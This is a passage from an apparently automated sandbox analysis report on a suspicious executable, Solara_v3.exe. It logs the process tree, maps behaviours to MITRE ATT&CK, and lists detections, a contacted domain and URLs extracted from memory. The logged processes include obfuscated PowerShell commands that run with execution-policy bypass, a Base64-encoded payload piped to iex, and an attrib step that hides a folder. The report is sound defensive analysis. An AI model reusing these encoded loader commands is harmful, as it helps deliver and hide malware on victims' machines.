ConvertFrom-Json).Script)) | iexJump to behavior
    Source: C:\Users\user\Desktop\Solara_v3.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgAJwB7ACIAUwBjAHIAaQBwAHQAIgA6ACIAYQBXAFkAZwBLAEMAMQB1AGIAMwBRAGcASwBGAHQAVABlAFgATgAwAFoAVwAwAHUAVABXAEYAdQBZAFcAZABsAGIAVwBWAHUAZABDADUAQgBkAFgAUgB2AGIAVwBGADAAYQBXADkAdQBMAGwAQgBUAFYASABsAHcAWgBVADUAaABiAFcAVgBkAEoAMQBkAHAAYgBqAE0AeQBKAHkAawB1AFYASABsAHcAWgBTAGsAZwBlAHcAMABLAEkAQwBBAGcASQBFAEYAawBaAEMAMQBVAGUAWABCAGwASQBFAEEAaQBEAFEAbwBnAEkAQwBBAGcAZABYAE4AcABiAG0AYwBnAFUAMwBsAHoAZABHAFYAdABPAHcAMABLAEkAQwBBAGcASQBIAFYAegBhAFcANQBuAEkARgBOADUAYwAzAFIAbABiAFMANQBTAGQAVwA1ADAAYQBXADEAbABMAGsAbAB1AGQARwBWAHkAYgAzAEIAVABaAFgASgAyAGEAVwBOAGwAYwB6AHMATgBDAGcAMABLAEkAQwBBAGcASQBIAEIAMQBZAG0AeABwAFkAeQBCAGoAYgBHAEYAegBjAHkAQgBYAGEAVwA0AHoATQBpAEIANwBEAFEAbwBnAEkAQwBBAGcASQBDAEEAZwBJAEYAdABFAGIARwB4AEoAYgBYAEIAdgBjAG4AUQBvAEkAbgBWAHoAWgBYAEkAegBNAGkANQBrAGIARwB3AGkASwBWADAATgBDAGkAQQBnAEkAQwBBAGcASQBDAEEAZwBjAEgAVgBpAGIARwBsAGoASQBIAE4AMABZAFgAUgBwAFkAeQBCAGwAZQBIAFIAbABjAG0ANABnAFMAVwA1ADAAVQBIAFIAeQBJAEUAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFgAYQBXADUAawBiADMAYwBvAEsAVABzAE4AQwBnADAASwBJAEMAQQBnAEkAQwBBAGcASQBDAEIAYgBSAEcAeABzAFMAVwAxAHcAYgAzAEoAMABLAEMASgAxAGMAMgBWAHkATQB6AEkAdQBaAEcAeABzAEkAaQBsAGQARABRAG8AZwBJAEMAQQBnAEkAQwBBAGcASQBGAHQAeQBaAFgAUgAxAGMAbQA0ADYASQBFADEAaABjAG4ATgBvAFkAVwB4AEIAYwB5AGgAVgBiAG0AMQBoAGIAbQBGAG4AWgBXAFIAVQBlAFgAQgBsAEwAawBKAHYAYgAyAHcAcABYAFEAMABLAEkAQwBBAGcASQBDAEEAZwBJAEMAQgB3AGQAVwBKAHMAYQBXAE0AZwBjADMAUgBoAGQARwBsAGoASQBHAFYANABkAEcAVgB5AGIAaQBCAGkAYgAyADkAcwBJAEYATgBvAGIAMwBkAFgAYQBXADUAawBiADMAYwBvAFMAVwA1ADAAVQBIAFIAeQBJAEcAaABYAGIAbQBRAHMASQBHAGwAdQBkAEMAQgB1AFEAMgAxAGsAVQAyAGgAdgBkAHkAawA3AEQAUQBvAGcASQBDAEEAZwBmAFEAMABLAEkAawBBAE4AQwBuADAATgBDAG0AWgAxAGIAbQBOADAAYQBXADkAdQBJAEUAZABsAGQARQBGAGoAZABHAGwAMgBaAFYAZABwAGIAbQBSAHYAZAAxAFIAcABkAEcAeABsAEsAQwBrAGcAZQB3ADAASwBJAEMAQQBnAEkAQwBSAG8AVgAyADUAawBJAEQAMABnAFcAMQBkAHAAYgBqAE0AeQBYAFQAbwA2AFIAMgBWADAAUgBtADkAeQBaAFcAZAB5AGIAMwBWAHUAWgBGAGQAcABiAG0AUgB2AGQAeQBnAHAARABRAG8AZwBJAEMAQQBnAEoASABOAGkASQBEADAAZwBUAG0AVgAzAEwAVQA5AGkAYQBtAFYAagBkAEMAQgBUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AFQAZABIAEoAcABiAG0AZABDAGQAVwBsAHMAWgBHAFYAeQBLAEQASQAxAE4AaQBrAE4AQwBpAEEAZwBJAEMAQgBiAFYAMgBsAHUATQB6AEoAZABPAGoAcABIAFoAWABSAFgAYQBXADUAawBiADMAZABVAFoAWABoADAASwBDAFIAbwBWADIANQBrAEwAQwBBAGsAYwAyAEkAcwBJAEMAUgB6AFkAaQA1AEQAWQBYAEIAaABZADIAbAAwAGUAUwBrAGcAZgBDAEIAUABkAFgAUQB0AFQAbgBWAHMAYgBBADAASwBJAEMAQQBnAEkASABKAGwAZABIAFYAeQBiAGkAQQBrAGMAMgBJAHUAVgBHADkAVABkAEgASgBwAGIAbQBjAG8ASwBRADAASwBmAFEAMABLAFoAbgBWAHUAWQAzAFIAcABiADIANABnAFMARwBsAGsAWgBVAEYAagBkAEcAbAAyAFoAVgBkAHAAYgBtAFIAdgBkAHkAZwBwAEkASABzAE4AQwBpAEEAZwBJAEMAQQBrAGEARgBkAHUAWgBDAEEAOQBJAEYAdABYAGEAVwA0AHoATQBsADAANgBPAGsAZABsAGQARQBaAHYAYwBtAFYAbgBjAG0AOQAxAGIAbQBSAFJump to behavior
    Source: C:\Users\user\Desktop\Solara_v3.exeProcess created: C:\Windows\System32\attrib.exe "attrib" +h C:\WindowsSystemJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qe2pugvo\qe2pugvo.cmdline"Jump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES37CB.tmp" "c:\Users\user\AppData\Local\Temp\qe2pugvo\CSC164F6F5C146F445CBD8C979E31D12C49.TMP"Jump to behavior
    Source: C:\Users\user\Desktop\Solara_v3.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -nologo -noninteractive -noprofile -executionpolicy bypass -encodedcommand wwbtahkacwb0aguabqauafqazqb4ahqalgbfag4aywbvagqaaqbuagcaxqa6adoavqbuaeyaoaauaecazqb0afmadabyagkabgbnacgawwbtahkacwb0aguabqauaemabwbuahyazqbyahqaxqa6adoargbyag8abqbcageacwbladyanabtahqacgbpag4azwaoacgajwb7aciauwbjahiaaqbwahqaiga6aciayqbxafkazwblaemamqb1agiamwbragcaswbgahqavablafgatgawafoavwawahuavabxaeyadqbzafcazabsagiavwbwahuazabdaduaqgbkafgaugb2agiavwbgadaayqbxadkadqbmagwaqgbuafyasabsahcawgbvaduaaabiafcavgbkaeoamqbkahaaygbqae0aeqbkahkaawb1afyasabsahcawgbtagsazwblahcamablaekaqwbbagcasqbfaeyaawbaaemamqbvaguawabcagwasqbfaeeaaqbeafeabwbnaekaqwbbagcazabyae4acabiag0aywbnafuamwbsahoazabhafyadabpahcamablaekaqwbbagcasqbiafyaegbhafcanqbuaekargboaduaywazafiababiafmanqbtagqavwa1adaayqbxadeababmagsabab1agqarwbwahkaygazaeiavabaafgasgayageavwboagwaywb6ahmatgbdagcamablaekaqwbbagcasqbiaeiamqbzag0aeabwafkaeqbcagoaygbhaeyaegbjahkaqgbyageavwa0ahoatqbpaeianwbeafeabwbnaekaqwbbagcasqbdaeeazwbjaeyadabfagiarwb4aeoaygbyaeiadgbjag4auqbvaekabgbwahoawgbyaekaegbnagkanqbragiarwb3agkaswbwadaatgbdagkaqqbnaekaqwbbagcasqbdaeeazwbjaegavgbpagiarwbsagoasqbiae4amabzafgaugbwafkaeqbcagwazqbiafiababjag0anabnafmavwa1adaavqbiafiaeqbjaeuazabsagqarqbaahyaywbtafyabgbjag0aoqaxagiabqbsafgayqbxaduaawbiadmaywbvaesavabzae4aqwbnadaaswbjaemaqqbnaekaqwbbagcasqbdaeiaygbsaecaeabzafmavwaxahcaygazaeoamablaemasgaxagmamgbwahkatqb6aekadqbaaecaeabzaekaaqbsagqarabrag8azwbjaemaqqbnaekaqwbbagcasqbgahqaeqbaafgaugaxagmabqa0adyasqbfadeaaabjag4atgbvafkavwb4aeiaywb5aggavgbiag0amqboagiabqbgag4awgbxafiavqblafgaqgbsaewaawbkahyaygayahcacabyafeamablaekaqwbbagcasqbdaeeazwbjaemaqgb3agqavwbkahmayqbxae0azwbjadmaugboagqarwbsagoasqbhafyanabkaecavgb5agiaaqbcagkaygayadkacwbjaeyatgbvagiamwbkafgayqbxaduaawbiadmaywbvafmavwa1adaavqbiafiaeqbjaecaaabyagiabqbrahmasqbhagwadqbkaemaqgb1afeamgaxagsavqayaggadgbkahkaawa3aeqauqbvagcasqbdaeeazwbmafeamablaekaawbbae4aqwbuadaatgbdag0awgaxagiabqboadaayqbxadkadqbjaeuazabsagqarqbgagoazabhagwamgbaafyazabwagiabqbsahyazaaxafiacabkaecaeabsaesaqwbragcazqb3adaaswbjaemaqqbnaekaqwbsag8avgayaduaawbjaeqamabnafcamqbkahaaygbqae0aeqbyafqabwa2afiamgbwadaaugbtadkaeqbaafcazab5agiamwbwahuawgbgagqacabiag0augb2agqaeqbnahaarabrag8azwbjaemaqqbnaeoasaboagkasqbeadaazwbuag0avgazaewavqa5agkayqbtafyaagbkaemaqgbuaguawaboadaawgbxadaadqbwaecavga0agqaqwa1afqazabiaeoacabiag0azabdagqavwbsahmawgbhafyaeqblaeqasqaxae4aaqbrae4aqwbpaeeazwbjaemaqgbiafyamgbsahuatqb6aeoazabpagoacabiafoawabsafgayqbxaduaawbiadmazabvafoawaboadaaswbdafiabwbwadianqbraewaqwbbagsaywayaekacwbjaemaugb6afkaaqa1aeqawqbyaeiaaabzadiabaawaguauwbragcazgbdaeiauabkafgauqb0afqabgbwahmaygbbadaaswbjaemaqqbnaekasabkagwazabiafyaeqbiagkaqqbragmamgbjahuavgbhadkavabkaegasgbwagiabqbjag8aswbradaaswbmafeamablafoabgbwahuawqazafiacabiadianabnafmarwbsagsawgbvaeyaagbkaecabaayafoavgbkahaaygbtafiadgbkahkazwbwaekasabzae4aqwbpaeeazwbjaemaqqbrageargbkahuawgbdaeeaoqbjaeyadabyageavwa0ahoatqbsadaangbpagsazabsagqarqbaahyaywbtafyabgbjag0aoqaxagiabqbsaf
    Source: C:\Users\user\Desktop\Solara_v3.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -nologo -noninteractive -noprofile -executionpolicy bypass -encodedcommand wwbtahkacwb0aguabqauafqazqb4ahqalgbfag4aywbvagqaaqbuagcaxqa6adoavqbuaeyaoaauaecazqb0afmadabyagkabgbnacgawwbtahkacwb0aguabqauaemabwbuahyazqbyahqaxqa6adoargbyag8abqbcageacwbladyanabtahqacgbpag4azwaoacgajwb7aciauwbjahiaaqbwahqaiga6aciayqbxafkazwblaemamqb1agiamwbragcaswbgahqavablafgatgawafoavwawahuavabxaeyadqbzafcazabsagiavwbwahuazabdaduaqgbkafgaugb2agiavwbgadaayqbxadkadqbmagwaqgbuafyasabsahcawgbvaduaaabiafcavgbkaeoamqbkahaaygbqae0aeqbkahkaawb1afyasabsahcawgbtagsazwblahcamablaekaqwbbagcasqbfaeyaawbaaemamqbvaguawabcagwasqbfaeeaaqbeafeabwbnaekaqwbbagcazabyae4acabiag0aywbnafuamwbsahoazabhafyadabpahcamablaekaqwbbagcasqbiafyaegbhafcanqbuaekargboaduaywazafiababiafmanqbtagqavwa1adaayqbxadeababmagsabab1agqarwbwahkaygazaeiavabaafgasgayageavwboagwaywb6ahmatgbdagcamablaekaqwbbagcasqbiaeiamqbzag0aeabwafkaeqbcagoaygbhaeyaegbjahkaqgbyageavwa0ahoatqbpaeianwbeafeabwbnaekaqwbbagcasqbdaeeazwbjaeyadabfagiarwb4aeoaygbyaeiadgbjag4auqbvaekabgbwahoawgbyaekaegbnagkanqbragiarwb3agkaswbwadaatgbdagkaqqbnaekaqwbbagcasqbdaeeazwbjaegavgbpagiarwbsagoasqbiae4amabzafgaugbwafkaeqbcagwazqbiafiababjag0anabnafmavwa1adaavqbiafiaeqbjaeuazabsagqarqbaahyaywbtafyabgbjag0aoqaxagiabqbsafgayqbxaduaawbiadmaywbvaesavabzae4aqwbnadaaswbjaemaqqbnaekaqwbbagcasqbdaeiaygbsaecaeabzafmavwaxahcaygazaeoamablaemasgaxagmamgbwahkatqb6aekadqbaaecaeabzaekaaqbsagqarabrag8azwbjaemaqqbnaekaqwbbagcasqbgahqaeqbaafgaugaxagmabqa0adyasqbfadeaaabjag4atgbvafkavwb4aeiaywb5aggavgbiag0amqboagiabqbgag4awgbxafiavqblafgaqgbsaewaawbkahyaygayahcacabyafeamablaekaqwbbagcasqbdaeeazwbjaemaqgb3agqavwbkahmayqbxae0azwbjadmaugboagqarwbsagoasqbhafyanabkaecavgb5agiaaqbcagkaygayadkacwbjaeyatgbvagiamwbkafgayqbxaduaawbiadmaywbvafmavwa1adaavqbiafiaeqbjaecaaabyagiabqbrahmasqbhagwadqbkaemaqgb1afeamgaxagsavqayaggadgbkahkaawa3aeqauqbvagcasqbdaeeazwbmafeamablaekaawbbae4aqwbuadaatgbdag0awgaxagiabqboadaayqbxadkadqbjaeuazabsagqarqbgagoazabhagwamgbaafyazabwagiabqbsahyazaaxafiacabkaecaeabsaesaqwbragcazqb3adaaswbjaemaqqbnaekaqwbsag8avgayaduaawbjaeqamabnafcamqbkahaaygbqae0aeqbyafqabwa2afiamgbwadaaugbtadkaeqbaafcazab5agiamwbwahuawgbgagqacabiag0augb2agqaeqbnahaarabrag8azwbjaemaqqbnaeoasaboagkasqbeadaazwbuag0avgazaewavqa5agkayqbtafyaagbkaemaqgbuaguawaboadaawgbxadaadqbwaecavga0agqaqwa1afqazabiaeoacabiag0azabdagqavwbsahmawgbhafyaeqblaeqasqaxae4aaqbrae4aqwbpaeeazwbjaemaqgbiafyamgbsahuatqb6aeoazabpagoacabiafoawabsafgayqbxaduaawbiadmazabvafoawaboadaaswbdafiabwbwadianqbraewaqwbbagsaywayaekacwbjaemaugb6afkaaqa1aeqawqbyaeiaaabzadiabaawaguauwbragcazgbdaeiauabkafgauqb0afqabgbwahmaygbbadaaswbjaemaqqbnaekasabkagwazabiafyaeqbiagkaqqbragmamgbjahuavgbhadkavabkaegasgbwagiabqbjag8aswbradaaswbmafeamablafoabgbwahuawqazafiacabiadianabnafmarwbsagsawgbvaeyaagbkaecabaayafoavgbkahaaygbtafiadgbkahkazwbwaekasabzae4aqwbpaeeazwbjaemaqqbrageargbkahuawgbdaeeaoqbjaeyadabyageavwa0ahoatqbsadaangbpagsazabsagqarqbaahyaywbtafyabgbjag0aoqaxagiabqbsafJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformationJump to behavior
    Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformationJump to behavior
    Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

    Mitre Att&ck Matrix

    ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
    Gather Victim Identity InformationAcquire InfrastructureValid Accounts22
    Command and Scripting Interpreter    		1
    DLL Side-Loading    		11
    Process Injection    		1
    Masquerading    		OS Credential Dumping1
    Security Software Discovery    		Remote Services1
    Archive Collected Data    		1
    Web Service    		Exfiltration Over Other Network MediumAbuse Accessibility Features
    CredentialsDomainsDefault Accounts2
    PowerShell    		Boot or Logon Initialization Scripts1
    DLL Side-Loading    		1
    Disable or Modify Tools    		LSASS Memory1
    Process Discovery    		Remote Desktop ProtocolData from Removable Media12
    Encrypted Channel    		Exfiltration Over BluetoothNetwork Denial of Service
    Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)21
    Virtualization/Sandbox Evasion    		Security Account Manager21
    Virtualization/Sandbox Evasion    		SMB/Windows Admin SharesData from Network Shared Drive1
    Non-Application Layer Protocol    		Automated ExfiltrationData Encrypted for Impact
    Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook11
    Process Injection    		NTDS1
    Application Window Discovery    		Distributed Component Object ModelInput Capture2
    Application Layer Protocol    		Traffic DuplicationData Destruction
    Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
    Deobfuscate/Decode Files or Information    		LSA Secrets12
    System Information Discovery    		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
    Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
    Obfuscated Files or Information    		Cached Domain CredentialsWi-Fi DiscoveryVNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
    DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
    DLL Side-Loading    		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery

    Behavior Graph

    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Is Windows Process
    • Number of created Registry Values
    • Number of created Files
    • Visual Basic
    • Delphi
    • Java
    • .Net C# or VB.NET
    • C, C++ or other language
    • Is malicious
    • Internet

    Screenshots

    Thumbnails

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


    windows-stand

    Antivirus, Machine Learning and Genetic Malware Detection

    Initial Sample

    SourceDetectionScannerLabelLink
    Solara_v3.exe8%ReversingLabsWin64.Malware.Generic

    Dropped Files

    ⊘No Antivirus matches

    Unpacked PE Files

    ⊘No Antivirus matches

    Domains

    ⊘No Antivirus matches

    URLs

    SourceDetectionScannerLabelLink
    https://fetch.spec.whatwg.org/#concept-headers-append0%Avira URL Cloudsafe
    https://dom.spec.whatwg.org/#concept-event-listener-inner-invoke0%Avira URL Cloudsafe
    https://fetch.spec.whatwg.org/#forbidden-response-header-name0%Avira URL Cloudsafe
    https://fetch.spec.whatwg.org/#ref-for-dom-body-formdata0%Avira URL Cloudsafe
    https://dom.spec.whatwg.org/#get-the-parent0%Avira URL Cloudsafe
    https://fetch.spec.whatwg.org/#concept-headers-fill0%Avira URL Cloudsafe
    https://fetch.spec.whatwg.org/#concept-network-error0%Avira URL Cloudsafe
    https://w3c.github.io/permissions/#permissionstatus0%Avira URL Cloudsafe
    https://url.spec.whatwg.org/#port-state0%Avira URL Cloudsafe
    https://streams.spec.whatwg.org/0%Avira URL Cloudsafe
    https://dl.deno.land/canary/0%Avira URL Cloudsafe
    https://crbug.com/v8/8520turbo_fast_api_callsenable0%Avira URL Cloudsafe
    https://fetch.spec.whatwg.org/#body-mixin0%Avira URL Cloudsafe
    https://w3c.github.io/permissions/#permission-descriptor0%Avira URL Cloudsafe
    https://dom.spec.whatwg.org/#concept-event-listener-invoke0%Avira URL Cloudsafe
    https://w3c.github.io/permissions/#status-of-a-permission0%Avira URL Cloudsafe
    https://v8.dev/docs/stack-trace-api#stack-trace-collection-for-custom-exceptions.0%Avira URL Cloudsafe
    https://url.spec.whatwg.org/#idna0%Avira URL Cloudsafe
    https://dom.spec.whatwg.org/#retarget0%Avira URL Cloudsafe
    https://w3c.github.io/FileAPI/0%Avira URL Cloudsafe
    https://dl.deno.land/canary/(ba0%Avira URL Cloudsafe
    https://some/file.ts0%Avira URL Cloudsafe
    https://dom.spec.whatwg.org/#concept-event-path-append0%Avira URL Cloudsafe
    https://dl.deno.land/canary-latest.txt0%Avira URL Cloudsafe
    https://wicg.github.io/import-maps/0%Avira URL Cloudsafe
    https://dom.spec.whatwg.org/#event-path0%Avira URL Cloudsafe
    https://fetch.spec.whatwg.org/#concept-construct-readablestream0%Avira URL Cloudsafe
    https://fetch.spec.whatwg.org/#dom-headers0%Avira URL Cloudsafe
    https://w3c.github.io/user-timing)0%Avira URL Cloudsafe
    https://dl.deno.land/canary/(b0%Avira URL Cloudsafe

    Domains and IPs

    Contacted Domains

    NameIPActiveMaliciousAntivirus DetectionReputation
    pastebin.com
    		104.20.4.235
    		truefalse
      		high

      URLs from Memory and Binaries

      NameSourceMaliciousAntivirus DetectionReputation
      https://www.rapidtables.com/convert/color/hsl-to-rgb.htmlSolara_v3.exe, 00000000.00000003.2037592218.00000137081C2000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.00000137081C2000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpfalse
        		high
        https://fetch.spec.whatwg.org/#concept-headers-appendSolara_v3.exe, 00000000.00000003.2037592218.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpfalse
        • Avira URL Cloud: safe
        		unknown
        https://dom.spec.whatwg.org/#concept-event-listener-inner-invokeSolara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmpfalse
        • Avira URL Cloud: safe
        		unknown
        https://deno.land/std/examples/colors.tsGenerateSolara_v3.exefalse
          		high
          https://github.com/chalk/ansi-regex/blob/2b56fb0c7a07108e5b54241e8faec160d393aedb/index.jsSolara_v3.exe, 00000000.00000003.2037592218.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpfalse
            		high
            https://url.spec.whatwg.org/#special-schemeSolara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpfalse
              		high
              https://fetch.spec.whatwg.org/#forbidden-response-header-nameSolara_v3.exe, 00000000.00000003.2037592218.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              https://fetch.spec.whatwg.org/#concept-network-errorSolara_v3.exe, 00000000.00000003.2037592218.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              https://url.spec.whatwg.org/#port-stateSolara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              https://fetch.spec.whatwg.org/#concept-headers-fillSolara_v3.exe, 00000000.00000003.2037592218.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              https://github.com/denoland/deno/issuesSolara_v3.exefalse
                		high
                https://streams.spec.whatwg.org/Solara_v3.exe, 00000000.00000003.2037592218.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://fetch.spec.whatwg.org/#ref-for-dom-body-formdataSolara_v3.exe, 00000000.00000003.2037592218.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.0000013708182000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                https://github.com/beatgammit/base64-jsSolara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpfalse
                  		high
                  https://deno.land/x/example/types.d.tsSolara_v3.exefalse
                    		high
                    https://deno.land/std/fmt/colors.tsSolara_v3.exefalse
                      		high
                      https://console.spec.whatwg.org/#console-namespaceSolara_v3.exe, 00000000.00000003.2037592218.00000137081C2000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2190242257.00000137081C2000.00000004.00001000.00020000.00000000.sdmp, Solara_v3.exe, 00000000.00000003.2037718448.000001E8E3FAF000.00000004.00000020.00020000.00000000.sdmpfalse
                        		high
                        https://no-color.org/Solara_v3.exefalse
                          		high
                          https://www.npmjs.com/package/tslib).Solara_v3.exefalse
                            		high
                            https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/InstancSolara_v3.exefalse
                              		high
                              https://dom.spec.whatwg.org/#get-the-parentSolara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: safe
                              		unknown
                              https://w3c.github.io/permissions/#permissionstatusSolara_v3.exefalse
                              • Avira URL Cloud: safe
                              		unknown
                              https://deno.land/x/Solara_v3.exefalse
                                		high
                                https://dom.spec.whatwg.org/#concept-event-listener-invokeSolara_v3.exe, 00000000.00000003.2190195192.0000013708102000.00000004.00001000.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://nuget.org/nuget.exepowershell.exe, 00000003.00000002.2173830740.000001E110075000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2173830740.000001E1101B7000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
